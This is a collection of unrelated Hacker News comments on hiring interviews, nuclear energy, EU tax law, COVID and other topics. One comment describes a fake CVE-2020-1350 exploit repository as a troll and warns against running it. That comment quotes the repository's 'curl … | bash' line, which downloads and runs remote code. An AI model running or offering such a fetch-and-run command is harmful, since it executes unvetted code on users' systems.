skysight-inc/HackerNews huggingface dataset:
> People use social media to complain and toss out accusations all the time. There will always be overreach but there are remedies for that.

Yeah, no. I think internet outrage mobs intended to attack people’s livelihoods are actually a problem, and not the type of thing we should placidly accept as part of the world.

> If he was fired due to a falty or biased investigation he could sue.

Not really true.
My native language is English and I'm fluent and well educated.

Although I do know that "average" covers mean, median and mode, when I was young I was not taught that way. First I was just taught "average" with a formula, and many years later "median" and "mode". I don't think I noticed the term "mean" until I learned about median and mode.

You can see this reflected in scientific calculators used at school, where the button for calculating mean is labelled "Avg".

And in Microsoft Excel or LibreOffice Calc, the function to calculate mean is called "AVERAGE".

So nobody should be hard on themselves for not knowing the difference. You probably weren't taught the difference, and common tools work against it.

It looks to me that the common word for statistical mean is "average" in English, but it's not the correct technical language.
A sibling commenter of yours pointed out that the EX variant will retain the dual-seat configuration of the E variant, which allows a dedicates weapon systems officer. An obvious fundamental improvement that can't be addressed through maintenance or upgrades of old variants.
Maybe you should call your posts chapters too?
I think they could also try movies analysis, there's ton of great content and it's more approachable.
this may help. Keys are the rejection of objective truth and other "enlightenment" ideas. https://www.britannica.com/topic/postmodernism-philosophy
If you get direct mailers or telemarketing phone calls, your address and phone number are not private.

California already has laws that require some transparency of who works for the government (I'm not exactly sure which data points), but allows a few classes of workers (eg. police, judges) to opt out for security reasons. For anyone who gets a phone, you have to pay to opt out of your contact info being publicly sold.

Modern society doesn't make it easy to avoid leaving a trail of contact info with lots of different vendors. This is exactly the same reason BlueLeaks was possible -- a fusion center vendor collected too much info and didn't bother to sufficiently secure it.
I wish government bundled nuclear dismantling with similar goals for fossil fuels. They should add in the phase-out that by 2030, all fossil and nuclear plants will be phased out. No new fossil fueled plants should be allowed to be built.

It would be really enjoyable to see how they would solve that while still keeping an functional energy grid (buying fossil generated power from neighbors during bad weather would be cheating), and the scientific progress from such attempt would benefit the world greatly.
You are confused. A car doesn't feel pain. Unnecessary violence against humans is worse than unnecessary violence against property.
> The death was not immediately labeled a homicide, and a Police Department spokesman said that the medical examiner’s office would determine the cause of death.

Umm. I think it's safe to rule suicide out when the corpse was dismembered with a saw.
What’s frustrating to me is clearly you’ve spent 10+ years on the industry, worked at big cos like Google and startups, passed Google onsite twice, and still got rejected by all those companies. Which would be fine if industry execs weren’t constantly bemoaning about talent shortages and difficulty hiring engineers. They’ve established a cultural pattern of talking about how acceptable it is to reject highly qualified engineers, labeling them “false negatives”, then refuse to introspect on that when discussing why they find hiring challenging. (I’ve also spent 10+ years in industry, 3+ years as a Google SWE, and got zero feedback rejections from companies like Stripe and many many others in the last few years.)
Thus making it absolute garbage. I can spend as much money as I want convincing an organization to falsely call me a founder - that does not make it correct for anyone else to call me so.
Why inaccurate antigen tests are better than slow PCR tests
Yes, of course. I rely on compilers, linters, and editor syntax highlighting when writing code, so it'd be pretty hypocritical for me to penalize people who can't access those things. People can sketch out a pretty messy pseudo-code implementation if they want, and then we'll just spend the rest of the interview cleaning it up, making it correct, extending it, talking about quirks of their implementation.
The more informed members of the anti-lockdown faction have been predicting this would happen for months, and they have taken a lot of flak for it.
Tesla or something else? Every car I've seen with heated seats (admittedly small sample size) had a hardware button with amber indicator LEDs showing you what setting it's on, so I'd certainly agree with not having an obvious switch being problematic. Made even worse by apparently turning it on by default?

Moving everything into hidden modal screens of the infotainment system is not a trend I'm excited about.
The EU has, it has some very strong rules/laws that prevent many forms of state aid (frequently brought up as a reason why countries should leave the EU). These rules/laws are given force via international treaties signed when countries join the EU, including Ireland.

The EU are say that Ireland’s laws break these EU treaties, and are thus invalid. There’s probably some valid questions regarding why the EU acted now, and not previously. But ultimately if those treaties has provide no time limit on enforcement, then the EU is free to pursue remediation whenever it wants. Today, tomorrow or two decades time.
And then that page will have a 50% chance of being unavailable after a year. I usually link to (creating, if necessary) a Wayback snapshot of any page instead.
This must be a twitter exploit. Just too many high profile accounts have been pushing out scams at the same time.
Dodge has been making essentially the same models, unchanged, for a decade. They don't use fancy technology, which means less things to break. So despite a lackluster history of long-term reliability, they've had plenty of opportunity to get the initial build quality dialed in pretty well.
I would say nobody at tech or hip company.

A lot of fortune 500 companies with some developers who missed the trendy stuff still do it that way. I made a medium size website (30 pages) in React with pure javascript and dependencies being script tags in index.html to vendored files.

So not even JSX. I did it that way because it was the easiest way to develop and deploy in that environment
Yeah they completely fail to explain the context.

CVE-2020-1350 is a real vulnerability that was published just yesterday:

https://nvd.nist.gov/vuln/detail/CVE-2020-1350

It's a brand new vuln so people would be interested in a proof of concept. The author created a git repo that was nominally a PoC exploit for this vulnerability but was really just a troll, and publicized it on twitter.

Some people ran the "proof of concept" code without reading it first and got trolled. If the author had been malicious they could have done something much worse than rickrolling.

The repo also contains a real fix for the vulnerability.

This is a particularly "amusing" troll because the sort of people who keep up with CVEs and look for proof-of-concept exploits should really know better than to run random code they just got off GitHub without checking what it does.

It's obvious with the most cursory examination of the code in the repo that you shouldn't run it, exploit.sh contains:

curl -L https://bit.ly/3exifav | bash
It's interesting to see someone else's list. If I were to make a similar list, I think I'd have very little overlap with this one. And the overlap that is there, like using hashtables and hashing, I'm not sure passes out of the realm of triviality: while I've built hashtables and written hash functions myself, I don't recall any job where I was required to do that, rather than just using something off-the-shelf.

It's probable that I've done some of the other stuff -- graph traversal comes to mind as feeling like something I've done professionally -- I feel like I've done stuff like that maybe once or twice in ~20 years. While it was useful to have that knowledge, probably, it wasn't even remotely representative of regular work on those jobs.

But that raises another question: is it still worthwhile to test for something you'll use 0.1% of the time on the job? Like, say I didn't know anything about graph traversal, and came across a problem that (even though I didn't know it) was perfectly suited to a solution involving a well-known algorithm. I might search around a bit, but ultimately my solution will probably be pretty non-optimal, might involve brute-forcing, and might be difficult to understand and read since I had no idea what I was doing.

On one hand you could say yes, that's important: even if you will barely use this information, it will be absolutely critical that you have it already and understand it when you do run into a problem that needs it, to the point that we don't want to hire you if you don't have it. On the other hand, you could say that picking it up as you go along is fine, or even writing a bad, brute-forced solution is fine, and the likelihood is that someone else on the team would notice during design or review and suggest the correct approach. You could even say that even if that doesn't happen, a bad implementation of part of your stack isn't even that big a deal; we all write so much technical debt for various reasons, this is just another thing that someone might have to revisit and improve later.

I'm not sure where I fall on this, really.
Africa is not a major contributor to the climate disaster, but is becoming an ever more victim of it. I would say that suggesting that “Africa build more nuclear plants” is exactly the kind of “privileged reasoning” you could expect from a “well meaning activist” of a “privileged position”.

First a little reality check. If a country does not have the resources and infrastructure to build a distributed system of solar and wind power plants, it certainly does not have the resources to build a nuclear plant.

Second, there are safety and environmental concerns. Nuclear power proliferation can not come at the cost of deregulation and laxer standards. A poorer community with a weaker government is in ever more risk to be exploded with a sub-standard facility. We have seen this happen in the chemical industry (look at the Bhopal disaster, or Cancer Ally, Louisiana), and I would rather not see this in the nuclear power industry.

And finally the climate disaster is happening at a pace where we simply don’t have the time build the amount of nuclear power required to phase out fossil fuel. Let alone building them in places with very limited infrastructure.

Building more nuclear power plants in Africa will contribute nothing in the battle against the climate disaster. And I’m extremely skeptical that it will result in any economical benefits for the vast majority of the population in African Countries (except maybe in Nigeria).
> And I'd say neither party is truly conservative, otherwise we wouldn't be seeing this absolute shambles from an ostensibly

An incompetent conservative is still conservative. And the trump admin did try to erode many of these things: protections for gay and transgender workers[0], abortion[1], etc. That reversing supreme court decisions (which most of these were based on) is exceedingly difficult worked against his goals, but denying that he tried is ignorant.

[0]: https://www.washingtonpost.com/health/2020/06/12/trump-trans...

[1]: https://www.jurist.org/news/2020/01/trump-administration-urg...
Lots and lots of crypto accounts hacked. Either Twitter is hacked or some automated tweeting system has a 0day.
This will hopefully be overturned in the higher court. More importantly, all the Dutch/Irish tax loopholes should be closed.
This is a terrible question. Problem solving ability doesn't exist in a vacuum. Our experiences give us resources to draw from to combine in new ways that allow us to solve novel problems. Asking a software engineer to solve a problem in a dissimilar domain is badly missing the point of screening software engineers.

Sure, you may say that everyone who does well turns out to be a great engineer. I'm sure Google says the same thing about their algorithm trivia tests. Presumably the goal is to move away from these seemingly arbitrary and irrelevant tests. Just replacing one arbitrary and irrelevant test with another isn't improving the state of things.
Do you understand why I failed the interview? That's absurd. How can you understand if I've not even given all the details? Your process is somehow bullet-proof and guaranteed to be followed? Probably because that's the assumption Google is predicated on. It couldn't have happened, so it didn't. I mean, logically, that's true.

> And I have no idea what you mean by the "tools" and "how to operate them" being false and failing.

I mean I consider my skill-set (what they're buying from me) to be my theoretical / intellectual ability, in addition to the practical activities I take when using the computer to achieve my job (using a mouse, keyboard, git, c++, testing). The interviewer mentioned they are looking for generalist programmers who don't consider their tool-set (git, windows, whatever) to be part of their skill-set. While I am quite general, I consider it a plus that I know such a wide range of different technologies. It was my question which prompted this, I asked about this very thing since I know it's a sore spot at Google, knowing a few Google employees and some Google coops. I believe this is the reason I failed, the interview completely changed his tone at this point.

In any case, the interview didn't test anything I would have done on the job, or my ability to do such things. It also didn't even test my intelligence independently of my preparedness, since there's so much preparatory material available, though it did eliminate people with lower intelligence who didn't prepare.

I failed the interview because of a number of reasons, but I definitely solved the problem. The typical process wasn't followed as this was right as COVID hit. So maybe that had some effect as well, this was the second phone interview with a new person (the first one I completed the problem, but there was a glitch and the call dropped and we couldn't recover for some time), and I've been ignoring the recruiter for years. I think I didn't really want to work for Google in the first place, so that probably also came through. I'm a big proponent of privacy and against Google's advertising business model.

I think based on the interview process I'm no longer considering Google anymore, despite still having another interview in six months. I will probably inform the Google recruiter in the future. It's just a waste of my time to prepare for such a silly test. When the main book to get the test is a book about how to cheat it and appear better than you are, it shows that the test is completely broken. Maybe a company the size of Google should hire people for short internships where they code throw-away prototypical problems and do some paid work. Maybe on a problem that takes some time and planning. I'd do that, even today. I think Google has lost most of the individuals who actually have an impact in this industry beyond search.

Maybe that's why the process won't change, Google isn't selecting for some traits which are commonly sought after.
1. ASN inspectors reports are not edited by their president or directors (commissaires). The whole structure is based on engineers. Inspectors are strictly engineers.

2. Most nuclear engineer are from Grenoble/Saint-etienne or Lyon. Some are from polytech (so Paris) but this is rare.

3. If you say so. It might conflict with greepeace's vision of ecology, but not with the IPCC's and for multiple reasons, i think i would rather follow scientists than ideologists. I also stopped donating to greenpeace around 2015 so i might be biased.

4. Way more complex than that, but true.

I think you should read ASN documentation before evaluating them as untrustworthy. I can find a lot of untrustworthy pro-nuclear sources. Those are not ran by engineers. Also nuclear power is a distraction until we fixed our real ecological issue, as are renewable power sources.

I don't care if we stop nuclear power in 2080 if we successfully limit the average warming to 2°C (hint: hope for a silver bullet).

I'm ready do donate everything i have (not that much) to any anti-nuclear association that explain to me how to effectively reduce our CO2 emission by 4% a year until 2050 (compounds are hard but this is the number i got) while focusing on replacing nuclear plant by solar panels and wind turbines. Really. Covid will be between 2 and 9% for 2020 [0] so i'm waiting for solutions for the following years.

Wait! i have multiples solutions. Give every french household using oil or gas a heatpump. Forbid new individual cars sold in France to weight more than a metric ton. Put a carbon tax (start with a small amount 10k€/ton) on transportation instead of a 20% VAT. Not on car gas, on the product directly. This will kill most plane fret, but honestly? i don't care. Forbid plane if the trip can be made in less than 4 hour by train (i think they recently did this, good).

But closing a nuclear plant to replace it by gas (and coal, even if temporary) is easier. Gazprom and Total really have more hitting power.

[0]https://www.nature.com/articles/s41558-020-0797-x
I assume, Damage Control - that is, rmdashrfstar (hah) is accusing cactus2093 of working for Amazon, and downplaying the importance of the article.
Looking at your history, looks like you work for Google and bought into the cult that you must be great because you passed the interview.

maybe the people you know there don't want to admit they spent some time studying questions? Maybe they bought into the cult of the "Google only hire the top 1%?" (which is very far from being the case).

FAANGs interview are the most predictable tech interview in the industry, why wouldn't you do it?
Microsoft interview. I was just graduating college, and was super anxious walking in to my first interview. The interviewer realized that writing on the whiteboard was going to be awkward for the problem he was asking me to solve so he let me just sit down at his computer while he hung out to to the side and watched me work in notepad. I think that was the best way to do that interview, because the second I started writing code my brain flipped in to code-writing mode and everything relaxed. One of the better interviews in my career.
I love the idea from the employee perspective! How can I be sure that the employer is right for me? With c2h I can test that.
"Damage control" would be my guess.
Three years ago I interviewed in house (after several hours of phone screens) at an SF tech company that has since gone public. The position was for a senior software engineer doing mostly backend Rails stuff.

The biggest portion of the in-house interview was some fairly simple algorithm puzzle involving solving some word game given some rules and a list of valid English words. That section of the interview ended with me explaining how hash table lookups are constant time and the interviewer insisting that they are linear time.

To be clear, there was no “gotcha” about collision resolution or anything subtle like that. My claim just came up as an obvious step in my explanation of the running time of my proposed solution and the interviewer jumped on it.

I thought I was quite cordial, but I didn’t back down, and the interviewer seemed quite aggressive. The other interviewer in the room at the time seemed very uncomfortable with the fact that I would question something so basic, but didn’t intervene or express any “opinion” on the “debate.”

I was rejected due to insufficient experience. :)
Your variation, that says "most of the time the contents are true", is an is statement, but it's entirely unverifiable. Good luck providing evidence for that! And even if you did, there's a very convenient out: "It's not true in this case."

The whole thing would be short-circuited by saying "When 1000 papers agree, and almost none disagree, we should take the claims to be broadly true."

Also, see how we've gone from having a discussion about the topic at hand to impossible-to-prove factual claims about how often a group of 1,000 academic papers are true? It doesn't seem like a very interesting discussion, at least to me.
I'm stuggling to come up with another meaning of complex that doesn't infer that something would be harder to use.
> “3300 have died from Covid. 6 months into the pandemic. Population 27 million. In 2018 we lost over 10,000 to the common flu. At this pace Covid will have fewer deaths than the flu in 2018.”

This statistic is mentioned often and the generally accepted response is that _only_ 3000 people have died because of Covid precisely because of all the intense measures we’ve taken none of which are taken for normal flus. If we treated Covid like a normal flu the number of deaths would go (way) up
Not to mention, you'll still be paying those same mortgage payments (unless you refinance) a decade or two from now after the market has changed, and generally it goes up (even if it should only average going up by the amount of inflation).

I bought my house 6 years ago. Rent prices have gone up about 30% in that time. I used to think my payment was crazy compared to renting, not I know of people renting much worse locations that are paying more, and I'm about to drop the mandated PMI because I dropped below 80% of the principal left to pay, so my payment will go down be a couple hundred more.
Some might consider it a feature if the glove box needs some known-only-to-the-owner quirk to open as basic security, at least prior to having voice/phone activation as an option. As i understood it, the valet mode is an early preparation for autopilot ride-hailing activity while the owner is working, otherwise known as robo-taxi mode, in order to keep the compartment locked in non-privileged cases. Can any owners confirm this?
> But as a taxpayer, it's really hard to swallow that these planes cost ~10x as much while every other technology is 100s of times cheaper.

This, at least as much as the prior, is a rational response. There's a trend that defense analysts have observed where defense systems that are institutionally popular but fundamentally obsolete in the combat environment become radically more expensive (usually, but not exclusivelt, with costs focussed on survivability features) with successive generations (or updates of existing gear, if it's a kind that is refreshed rather than replaced); battleships went through this before being abandoned and manned tactical combat aircraft are on technology that as long as 20+ years ago were being written about being well into the same trend.
What I need is not editing but delayed publishing.
Walmart Will Require Customers to Wear Face Masks at All US Stores
> Boeing will build a new version of its F-15, an older fighter jet developed in the 1960s

Am I the only one that immediately thinks about the 737max disaster where they tried the same thing?
I like gmail fine for personal email. I don't see how anyone gets work done with it.
It feels like the start of a detective adventure game. It feels so out of left field otherwise.
This assumes white engineers only knows other white engineers etc.

This is very much not how the Silicon Valley I've been in for decades works!
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